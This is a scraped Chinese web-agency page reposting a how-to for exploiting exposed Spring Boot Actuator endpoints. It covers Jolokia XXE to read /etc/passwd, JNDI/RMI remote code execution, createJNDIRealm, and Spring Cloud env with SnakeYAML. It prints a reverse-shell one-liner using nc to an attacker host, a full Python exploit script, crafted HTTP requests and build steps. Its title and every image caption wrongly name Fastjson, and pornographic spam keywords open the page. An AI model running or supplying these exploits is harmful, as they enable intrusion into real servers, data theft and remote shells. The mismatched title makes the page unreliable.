真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用,針對(duì)這個(gè)問題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡(jiǎn)單易行的方法。

我們提供的服務(wù)有:成都網(wǎng)站制作、網(wǎng)站建設(shè)、微信公眾號(hào)開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、秭歸ssl等。為近1000家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的秭歸網(wǎng)站制作公司

前言

Actuator 是 Spring Boot 提供的服務(wù)監(jiān)控和管理中間件。當(dāng) Spring Boot 應(yīng)用程序運(yùn)行時(shí),它會(huì)自動(dòng)將多個(gè)端點(diǎn)注冊(cè)到路由進(jìn)程中。而由于對(duì)這些端點(diǎn)的錯(cuò)誤配置,就有可能導(dǎo)致一些系統(tǒng)信息泄露、XXE、甚至是 RCE 等安全問題。

漏洞發(fā)現(xiàn)

通常通過兩個(gè)位置判斷網(wǎng)站是否使用了Spring Boot框架。
1、網(wǎng)站圖片文件是一個(gè)綠色的樹葉。
2、特有的報(bào)錯(cuò)信息。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

影響版本

Spring Boot < 1.5 默認(rèn)未授權(quán)訪問所有端點(diǎn)
Spring Boot >= 1.5 默認(rèn)只允許訪問/health和/info端點(diǎn),但是此安全性通常被應(yīng)用程序開發(fā)人員禁用

端點(diǎn)描述

官方文檔對(duì)每個(gè)端點(diǎn)的功能進(jìn)行了描述。

路徑            描述/autoconfig    提供了一份自動(dòng)配置報(bào)告,記錄哪些自動(dòng)配置條件通過了,哪些沒通過/beans         描述應(yīng)用程序上下文里全部的Bean,以及它們的關(guān)系/env           獲取全部環(huán)境屬性/configprops   描述配置屬性(包含默認(rèn)值)如何注入Bean/dump          獲取線程活動(dòng)的快照/health        報(bào)告應(yīng)用程序的健康指標(biāo),這些值由HealthIndicator的實(shí)現(xiàn)類提供/info          獲取應(yīng)用程序的定制信息,這些信息由info打頭的屬性提供/mappings      描述全部的URI路徑,以及它們和控制器(包含Actuator端點(diǎn))的映射關(guān)系/metrics       報(bào)告各種應(yīng)用程序度量信息,比如內(nèi)存用量和HTTP請(qǐng)求計(jì)數(shù)/shutdown      關(guān)閉應(yīng)用程序,要求endpoints.shutdown.enabled設(shè)置為true/trace         提供基本的HTTP請(qǐng)求跟蹤信息(時(shí)間戳、HTTP頭等)

Spring Boot 1.x版本端點(diǎn)在根URL下注冊(cè)。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

Spring Boot 2.x版本端點(diǎn)移動(dòng)到/actuator/路徑。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

本文中端點(diǎn)的位置都是基于網(wǎng)站根目錄下,實(shí)戰(zhàn)中遇到的情況是,端點(diǎn)可能存放在多級(jí)目錄下,需要自行進(jìn)行尋找。

訪問/trace端點(diǎn)獲取到近期服務(wù)器收到的請(qǐng)求信息。
如果存在登錄用戶的操作請(qǐng)求,可以偽造cookie進(jìn)行登錄。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

訪問/env端點(diǎn)獲取環(huán)境屬性。
數(shù)據(jù)庫賬戶泄漏

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

Jolokia端點(diǎn)利用

大多數(shù)Actuator僅支持GET請(qǐng)求并僅顯示敏感的配置數(shù)據(jù),如果使用了不當(dāng)?shù)腏olokia端點(diǎn),可能會(huì)產(chǎn)生XXE、甚至是RCE安全問題。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 庫提供的reloadByURL方法。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

xxe漏洞實(shí)現(xiàn)

reloadByURL方法,允許遠(yuǎn)程加載logback.xml 配置文件,并且解析 xml 文件未做任何過濾措施,導(dǎo)致了xxe漏洞。
1、創(chuàng)建logback.xml和fileread.dtd文件
logback.xml,地址為公網(wǎng)vpsweb服務(wù)地址。

%remote;%int;]>&trick;

fileread.dtd

 ">

2、把創(chuàng)建的logback.xml和fileread.dtd文件上傳到公網(wǎng)vps的web目錄下。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

3、遠(yuǎn)程訪問logback.xml文件。

www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe讀取到etc/passwd文件內(nèi)容。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

遠(yuǎn)程代碼執(zhí)行實(shí)現(xiàn)

可以在logback.xml中使用insertFromJNDI標(biāo)簽,這個(gè)標(biāo)簽允許我們從 JNDI 加載變量,導(dǎo)致了rce漏洞產(chǎn)生。
rce的流程主要分為4步。詳細(xì)過程
1、構(gòu)造 Get 請(qǐng)求訪問目標(biāo),使其去外部服務(wù)器加載惡意 logback.xml 文件。
2、解析 logback.xml 時(shí),最終會(huì)觸發(fā) InitialContext.lookup(URI) 操作,而URI 為惡意 RMI 服務(wù)地址。
3、惡意 RMI 服務(wù)器向目標(biāo)返回一個(gè) Reference 對(duì)象,Reference 對(duì)象中指定了目標(biāo)本地存在的 BeanFactory 類,以及Bean Class 的類名、屬性、屬性值(這里為 ELProcessor 、x、eval(...))。
4、目標(biāo)在進(jìn)行 lookup() 操作時(shí),會(huì)動(dòng)態(tài)加載并實(shí)例化 BeanFactory 類,接著調(diào)用 factory.getObjectInstance() 方法,通過反射的方式實(shí)例化 Reference 所指向的任意 Bean Class,并且會(huì)調(diào)用 setter 方法為所有的屬性賦值。對(duì)應(yīng)我們的代碼,最終調(diào)用 setter 方法的時(shí)候,就是執(zhí)行如下代碼:

ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 會(huì)對(duì) EL 表達(dá)式(這里為反彈 shell)進(jìn)行求值,最終達(dá)到 RCE 的效果。

1、下載rce利用代碼。
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代碼。
可以修改RMI遠(yuǎn)程監(jiān)聽的端口,和反彈shell的地址和端口。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

使用maven對(duì)java代碼進(jìn)行編譯打包。

進(jìn)入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目錄,執(zhí)行

mvn clean install

打包成功后創(chuàng)建target目錄下生成RMIServer-0.1.0.jar文件。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

修改logback.xml文件內(nèi)容。

 
  

把RMIServer-0.1.0.jar文件上傳到公網(wǎng)vps上。
執(zhí)行RMIServer-0.1.0.jar文件,開啟攻擊機(jī)上的RMI監(jiān)聽時(shí)需要通過'Djava.rmi.server.hostname=x.x.x.x'指定自己的RMI監(jiān)聽的外網(wǎng)地址。

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

vps使用nc監(jiān)聽反彈shell指定的端口。

nc -lvp 9998

在漏洞url處訪問:

http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

成功反彈shell。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

createJNDIRealm方法

相關(guān)原理請(qǐng)查看
Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory類提供的createJNDIRealm方法,可能存在JNDI注入,導(dǎo)致遠(yuǎn)程代碼執(zhí)行。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

利用過程分為五步。

1、創(chuàng)建 JNDIRealm

2、寫入 contextFactory 為 RegistryContextFactory

3、寫入 connectionURL 為你的 RMI Service URL

4、停止 Realm

5、啟動(dòng) Realm 以觸發(fā) JNDI 注入

可以使用burp一步步重放,也可以直接使用python腳本執(zhí)行。

import requests as reqimport sysfrom pprint import pprint

url = sys.argv[1] + "/jolokia/"pprint(url)#創(chuàng)建JNDIRealmcreate_JNDIrealm = {"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]}#寫入contextFactoryset_contextFactory = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"}#寫入connectionURL為自己公網(wǎng)RMI service地址set_connectionURL = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://x.x.x.x:1097/jndi"}#停止Realmstop_JNDIrealm = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []}#運(yùn)行Realm,觸發(fā)JNDI 注入start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []}expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]for i in expoloit:rep = req.post(url, json=i)pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,運(yùn)行RMI服務(wù)

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

使用nc監(jiān)聽反彈的端口

nc -lvp 9998

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

使用python發(fā)送請(qǐng)求

python exp.py http://x.x.x.x:8087

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

成功反彈shell。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

spring Cloud env

當(dāng)spring boot使用Spring Cloud 相關(guān)組件時(shí),會(huì)存在spring.cloud.bootstrap.location屬性,通過修改 spring.cloud.bootstrap.location 環(huán)境變量實(shí)現(xiàn) RCE
漏洞原理參考https://www.anquanke.com/post/id/195929

利用范圍

Spring Boot 2.x 無法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本時(shí)可利用成功,使用 Edgware 無法成功
Spring Boot <= 1.4 可利用成功

利用過程

大致原理分為2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 屬性值為一個(gè)外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、請(qǐng)求 /refresh endpoint,觸發(fā)程序下載外部 yml 文件,并由 SnakeYAML 庫進(jìn)行解析,因 SnakeYAML 在反序列化時(shí)支持指定 class 類型和構(gòu)造方法的參數(shù),結(jié)合 JDK 自帶的 javax.script.ScriptEngineManager 類,可實(shí)現(xiàn)加載遠(yuǎn)程 jar 包,完成任意代碼執(zhí)行。
下載使用Michael Stepankin大牛提供的exp
https://github.com/artsploit/yaml-payload
更改執(zhí)行的命令。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

將java文件進(jìn)行編譯

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件掛載到公網(wǎng)http服務(wù)器。
修改 spring.cloud.bootstrap.location為外部 yml 配置文件地址。

POST /env HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

請(qǐng)求 /refresh 接口觸發(fā)

POST /refresh HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令執(zhí)行成功。

怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用

關(guān)于怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用問題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識(shí)。


分享題目:怎么實(shí)現(xiàn)Fastjson反序列化漏洞利用
鏈接地址:http://weahome.cn/article/jsgjgj.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部